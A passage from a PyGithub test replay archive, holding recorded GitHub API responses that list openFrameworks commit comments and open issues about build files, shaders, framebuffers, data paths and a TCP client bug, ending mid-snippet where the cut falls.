_at":"2013-06-18T23:46:04Z","updated_at":"2013-06-18T23:46:04Z","body":"hey this PR removed,\r\n`ofBaseSoundPlayer.cpp`\r\n`ofBaseSoundStream.cpp`\r\n`ofPoint.cpp`\r\n\r\nxcode is complaining not being able to find those files.\r\njust want to double check that this is correct before i update the xcode project."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453566","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453566","id":3453566,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-18T23:48:55Z","updated_at":"2013-06-18T23:48:55Z","body":"#2129 should fix this."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453625","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453625","id":3453625,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-18T23:58:46Z","updated_at":"2013-06-18T23:58:46Z","body":"ok, ill put together another PR like that one for iOS."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3454214","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3454214","id":3454214,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created_at":"2013-06-19T01:47:33Z","updated_at":"2013-06-19T01:47:33Z","body":"ive fixed this issue on ios here #2131 "}] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/PaginatedList.testGetFirstPage.txt0000644000175100001660000014703514756101563024704 0ustar00runnerdockerhttps GET api.github.com None /repos/openframeworks/openFrameworks/issues {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4927'), ('content-length', '52085'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last"'), ('etag', '"5e8867ffb4e7630e852b2b231f3b9cdb"'), ('date', 'Tue, 29 May 2012 19:36:57 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-05-27T18:11:17Z","body":"Since more and more of the OF Core now relies on Poco (ie ofThread, etc) does OF_USING_POCO make sense anymore?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1280","comments":0,"milestone":null,"number":1280,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1280","assignee":null,"title":"deprecate OF_USING_POCO?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-27T18:03:23Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"danomatika","id":480637},"id":4772349,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-28T08:08:24Z","body":"There occurs a weir glitch when compiling the ofShader example with my HD Graphics 3000 (288 Mb) (Mac osx 10.7.4 - Mac Mini - i5 - 2.3Ghz)\n\nI was able to get rid of the glitch by replacing \"gl_FragColor = gl_Color;\" with \"gl_FragColor = 255.0;\" or any other number.\nAnybody knows a reason for the glitch / proper solution?\n\nScreenshot: http://goo.gl/Xdf74\nOpenGL capacities on different graphic cards on apple machines: http://goo.gl/FGQ2N","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1279","comments":2,"milestone":null,"number":1279,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1279","assignee":null,"title":"ofShader example with HD Graphics 3000 issue","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/macOS","name":"macOS","color":"2a8296"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-26T19:27:56Z","state":"open","user":{"url":"https://api.github.com/users/subtiv","gravatar_id":"837cfe96365c031130a46311eb11d86a","avatar_url":"https://secure.gravatar.com/avatar/837cfe96365c031130a46311eb11d86a?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"subtiv","id":1012684},"id":4767675,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-25T18:39:02Z","body":"produces an error on app exit or tex destruction.\n\n OF: OF_LOG_ERROR: trying to delete a non indexed texture, something weird is happening. Deleting anyway\n\nThis is because retain(int id) is a static function in ofTexture.cpp. So we can't retain the depthStencilTexture.\n\nThis suggest we should move the texture allocation of the depth / stencil texture to ofTexture - something which is not possible at the moment. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1277","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1277,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1277","assignee":null,"title":"ofFbo can't retain depthStencil Texture","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-25T18:37:46Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4758608,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T21:26:57Z","body":"\nthe offending line is: \n\nif( speed.getValue() != preSpeed ){\n\nwhich is evaluating as true even through the slider is not touched (float equality test, etc). \n\nif we alter it to something like: \n\nif( fabs(speed.getValue() - preSpeed) > 0.0001 ){\n\nthe code runs fine. probably nicer to add a \"value changed()\" functionality to the slider object though or use EPSILON, etc. \n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1271","comments":0,"milestone":null,"number":1271,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1271","assignee":null,"title":"periodic signal example doesn't run well on windows / cb (float equality error)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/example","name":"example","color":"d1af26"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"closed_at":null,"created_at":"2012-05-22T21:26:57Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4700182,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-22T16:41:21Z","body":"There's some error that appears on linux systems running the project generator to make VS examples, where the debug and release libs for opencv get added badly to the vs project: \n\n\t%(AdditionalDependencies);opencv_highgui231d.lib;opencv_calib3d231.lib;opencv_imgproc231d.lib;opencv_haartraining_engined.lib;opencv_gpu231d.lib;opencv_flann231.lib;opencv_contrib231d.lib;opencv_video231d.lib;opencv_objdetect231d.lib;zlib.lib;opencv_core231d.lib;opencv_contrib231.lib;opencv_ml231d.lib;opencv_features2d231.lib;opencv_core231.lib;opencv_gpu231.lib;opencv_legacy231d.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_ml231.lib;opencv_imgproc231.lib;opencv_objdetect231.lib;opencv_legacy231.lib;opencv_video231.lib\n\t\t\t\t%(AdditionalLibraryDirectories);..\\..\\..\\addons\\ofxOpenCv\\libs\\opencv\\lib\\vs2010\n\nthis doesn't seem to be the case on osx or windows, which produces correct results: \n\n\t%(AdditionalDependencies);opencv_calib3d231.lib;opencv_contrib231.lib;opencv_core231.lib;opencv_features2d231.lib;opencv_flann231.lib;opencv_gpu231.lib;opencv_haartraining_engine.lib;opencv_highgui231.lib;opencv_imgproc231.lib;opencv_legacy231.lib;opencv_ml231.lib;opencv_objdetect231.lib;opencv_video231.lib;zlib.lib\n\nwould be good to look at the logic of \"visualStudioProject::addAddon()\" and see if we can fix this.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1268","comments":9,"milestone":null,"number":1268,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1268","assignee":null,"title":"project generator - bad libs for VS / opencv examples","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/windows","name":"windows","color":"244569"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/project+generator","name":"project generator","color":"444444"}],"closed_at":null,"created_at":"2012-05-20T21:50:24Z","state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofZach","id":142897},"id":4662873,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T00:43:37Z","body":"I woud love some eyes on ofFbo would be great to get it cleaned up and standardized for 0072. \nRight now there are a ton of #ifdefs and some very hard to follow logic, which makes bug fixing quite difficult especially on OPENGL_ES\n\nsee: https://gist.github.com/2711815\n\n@elliotwoods @arturoc @memotv @damiannz @ofZach @kylemcdonald \n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1263","comments":2,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1263,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1263","assignee":null,"title":"ofFbo.cpp is a huge mess! ","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-16T16:27:30Z","state":"open","user":{"url":"https://api.github.com/users/ofTheo","gravatar_id":"3b0860ec0180f7fb7ac4d2cd9252ec3f","avatar_url":"https://secure.gravatar.com/avatar/3b0860ec0180f7fb7ac4d2cd9252ec3f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"ofTheo","id":144000},"id":4608132,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T14:29:02Z","body":"I added a .mailmap file to the repo to correctly collate all the contributors in spite of changing nick names/email addresses. This is useful when trying to identify contributors for a changelog or similar, or when using the git logging functions like shortlog.\n\nSee the before/after situation here: https://gist.github.com/2710366\n\nI have respected privacy and only used those real names that people have already given in a git ID in the repo. Mainly this addition only associates the different email addresses to one user. @arturoc wins the prize of most used emails! :-)\nThe list is pretty complete, I only had difficulties to associate some IDs to the correct Zachs, since it was not clear for some if @ofZach or @stfj (Zach Gage) was the contributor. Those were left as-is.\n\nIf anybody has objections to their various email being united under their name, please say so and I will correct/remove the relevant entries.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1262","comments":2,"milestone":null,"number":1262,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1262","assignee":null,"title":"Add .mailmap for contributor collation","labels":[],"closed_at":null,"created_at":"2012-05-16T13:44:32Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"id":4604661,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1262.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1262","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1262.patch"}},{"updated_at":"2012-05-16T09:35:31Z","body":"Address #375.\n\nAdd setVolumef(float). Also more clearly define volume ranges (int is 0..255, float is 0..1) and more robust clamping of volume argument.\n\nThis has not been tested on Linux or Windows.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1260","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1260,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1260","assignee":null,"title":"allow float volume on ofVideoPlayer","labels":[],"closed_at":null,"created_at":"2012-05-15T17:50:22Z","state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"damiannz","id":144366},"id":4588997,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1260.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1260","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1260.patch"}},{"updated_at":"2012-05-21T07:31:47Z","body":"This was originally posted @\"biginners\".\n\nhttp://forum.openframeworks.cc/index.php/topic,9527.msg44049.html#msg44049\n\nJoshua noble suggested me to file it as a bug on jithub\n\n\n/////////////////original messages\n\nHello.\n\nI have question about ofShortPixels and ofShortColor.\n\nIf you execute the code below , it'll draw at half way screen height even though I did set aDot at (0. screen height / 4)\n\nAnd another weird thing is it draws 20 pixels instead of 10 pixels which I set for loop for 10 times.\n\nIt only draws correctly with ofPixels and ofColor.\n\nIt doesn't work with ofFloatPixels and ofFloatColor.\n\nPlease help me out.\n\nI need to have RGB value over 255 so I can check if those values are over 255.\n\nThanks in advanced\n\nJin\n\n\n.h file\nCode:\nview plaincopy to clipboardprint?\n\n #pragma once \n #include \"ofMain.h\" \n \n class Dot { \n public: \n ofVec2f location; \n \n Dot(){ \n location.set(0,0); \n } \n \n ~Dot(){} \n }; \n \n class testApp : public ofBaseApp{ \n public: \n void setup(); \n void update(); \n void draw(); \n \n int w,h; \n \n ofTexture particleTexture; \n ofShortPixels * rgbPixels; \n \n ofShortColor& paint(ofShortColor &); \n \n Dot aDot; \n \n \n }; \n\n\n.cpp file\nCode:\nview plaincopy to clipboardprint?\n\n #include \"testApp.h\" \n //-------------------------------------------------------------- \n void testApp::setup(){ \n ofSetFrameRate(30); \n ofSetBackgroundAuto(TRUE); \n ofBackground(0, 0, 0); \n w = ofGetWidth(); \n h = ofGetHeight(); \n \n particleTexture.allocate(w,h,GL_RGB); \n rgbPixels = new ofShortPixels; \n rgbPixels->allocate(w, h, 3); \n aDot.location.set(0, h/4); \n } \n \n //-------------------------------------------------------------- \n void testApp::update(){ \n ofShortColor pixelColor; \n ofShortColor newPixelColor; \n for(int i = 0; i<10; i++){ \n pixelColor = rgbPixels->getColor(aDot.location.x+i, aDot.location.y); \n \n newPixelColor = paint(pixelColor); \n \n rgbPixels->setColor(aDot.location.x+i, aDot.location.y,newPixelColor); \n \n } \n particleTexture.loadData(* rgbPixels); \n } \n \n //-------------------------------------------------------------- \n void testApp::draw(){ \n particleTexture.draw(0, 0, w, h); \n } \n \n ofShortColor & testApp::paint(ofShortColor & _c){ \n \n _c.r += 10; \n _c.g += 2; \n _c.b += 3; \n \n _c.set(_c.r, _c.g, _c.b); \n _c.clamp(); \n \n return _c; \n } ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1257","comments":1,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1257,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1257","assignee":null,"title":"ofShortPixels doesn't draw pixels correctly","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","name":"section-internals","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-14T05:46:14Z","state":"open","user":{"url":"https://api.github.com/users/gazaebal","gravatar_id":"f9d7811bb6318fedf7e9f2fe8bfece32","avatar_url":"https://secure.gravatar.com/avatar/f9d7811bb6318fedf7e9f2fe8bfece32?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"gazaebal","id":1736190},"id":4557803,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-17T21:42:08Z","body":"if i'm not mistaken, the correct way of using ofMatrix4x4 in oF is `glMultMatrixf(myMatrix.getPtr())` or `glLoadMatrixf`.\nThis seems a bit uncomfortable for me.\n\nsome candidates are:\n\n```c++\nofPushMatrix(const ofMatrix4x4 &); //needs alternatives as you might not want to push at the time\nofLoadMatrix(const ofMatrix4x4 &);\nofMultMatrix(const ofMatrix4x4 &);\n\nofMatrix4x4::apply();\nofMatrix4x4::glLoadMatrix(matrixMode = OF_MATRIX_MODE_CURRENT);\n```\n\n\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1256","comments":5,"milestone":null,"number":1256,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1256","assignee":null,"title":"Feature ofPushMatrix(const ofMatrix4x4 &)","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-13T18:20:29Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4554058,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-11T21:24:20Z","body":"\tunsigned char faceSize = 3;\n\tif(data.getNumIndices()){\n\t\tos << \"element face \" << data.getNumIndices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t} else if(data.getMode() == OF_PRIMITIVE_TRIANGLES) {\n\t\tos << \"element face \" << data.getNumVertices() / faceSize << endl;\n\t\tos << \"property list uchar int vertex_indices\" << endl;\n\t}\n\nThe facesize is being set as static as 3, but this results in strange exports...things open OK in Meshlab, but exporting to other programs with no faces seems like it won't work","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1252","comments":6,"milestone":null,"number":1252,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1252","assignee":null,"title":"0071 ply (mesh.save()) Point export is broken","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","name":"section-3D","color":"DDDDDD"}],"closed_at":null,"created_at":"2012-05-11T19:45:53Z","state":"open","user":{"url":"https://api.github.com/users/laserpilot","gravatar_id":"07001341fe6c156dddd5b9d06d828cba","avatar_url":"https://secure.gravatar.com/avatar/07001341fe6c156dddd5b9d06d828cba?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"laserpilot","id":1041023},"id":4539985,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:33:31Z","body":"couple of minor bugfixes (absolute path wasn't being detected on second if [absolute] for windows paths)\r\nfixes unixy paths no matter what on windows","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1251","comments":8,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1251,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1251","assignee":null,"title":"Bugfix of to data path","labels":[],"closed_at":null,"created_at":"2012-05-10T06:44:20Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507572,"pull_request":{"diff_url":"https://github.com/openframeworks/openFrameworks/pull/1251.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/1251","patch_url":"https://github.com/openframeworks/openFrameworks/pull/1251.patch"}},{"updated_at":"2012-05-16T09:43:23Z","body":":(\r\n\r\nIt seems i'm getting double 'data/' in my paths\r\nafter a little tracking down, i found this is because ofSystemLoadDialog changes the current working directory\r\n\r\nso we could try and either fix that by popping the folder after the dialog, \r\nof for windows using something like ```GetModuleFileName``` to get the path of the current exe rather than using the current working directory\r\n\r\nI can't seem to run GetModuleFileName from ofUtils.cpp even though windows.h is included in ofConstants.h (included in ofUtils.h)\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1250","comments":0,"milestone":{"creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"bilderbuchi","id":327442},"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","number":5,"title":"0072 Release","closed_issues":21,"due_on":"2012-06-25T07:00:00Z","open_issues":81,"created_at":"2011-12-02T15:29:48Z","state":"open","description":"","id":61810},"number":1250,"html_url":"https://github.com/openframeworks/openFrameworks/issues/1250","assignee":null,"title":"bug: ofToDataPath broken again","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"closed_at":null,"created_at":"2012-05-10T06:35:24Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","login":"elliotwoods","id":328294},"id":4507492,"pull_request":{"diff_url":null,"html_url":null,"patch_url":null}},{"updated_at":"2012-05-16T09:42:44Z","body":"'ofx TCPClient :: receiveRaw' was found in the proble.\n\nOriginal :\n\n\tint ofxTCPClient::receiveRawBytes(char * receiveBuffer, int numBytes){\n\t\t\t messageSize = TCPClient.Receive(receiveBuffer, numBytes);\t\n\t\t\t if(messageSize==0){\t\t\n\t\t\t\t\t\tclose();\t\n\t\t\t }\t\n\t\t\t return messageSize;\n\t}\n\nBut 'TCPClient.Receive (receiveBuffer, numBytes)' from '-1' may return\n\nI was modified\n\n\tstring ofxTCPClient::receiveRaw(){\n\t\t\t messageSize = TCPClient.Receive(tmpBuff, TCP_MAX_MSG_SIZE);\n\t\t\t 